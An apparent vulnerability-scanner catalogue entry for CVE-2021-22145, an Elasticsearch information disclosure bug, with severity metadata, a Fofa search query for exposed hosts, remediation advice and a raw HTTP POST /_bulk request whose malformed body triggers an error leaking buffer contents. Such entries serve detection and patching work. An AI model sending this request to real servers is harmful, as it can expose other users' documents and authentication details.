| Title | Elasticsearch 7.10.0-7.13.3 - Information Disclosure |
|---|---|
| Author | dhiyaneshDk |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to gain unauthorized access to sensitive information. |
| Remediation | Upgrade Elasticsearch to a version that is not affected by CVE-2021-22145. |
| CVSS Score | 6.5 |
| EPSS Score | 0.65695 |
| CVE ID | CVE-2021-22145 |
| CWE ID | CWE-209 |
| Fofa Query | index_not_found_exception |
| Tags | cve2021 cve elasticsearch packetstorm elastic vuln |
ElasticSsarch 7.10.0 to 7.13.3 is susceptible to information disclosure. A user with the ability to submit arbitrary queries can submit a malformed query that results in an error message containing previously used portions of a data buffer. This buffer can contain sensitive information such as Elasticsearch documents or authentication details, thus potentially leading to data modification and/or execution of unauthorized operations.
POST /_bulk HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.2
Connection: close
Content-Length: 3
Accept: */*
Accept-Language: en
Content-Type: application/json
Accept-Encoding: gzip
@
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-22145.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-22145.pcap
N/AN/A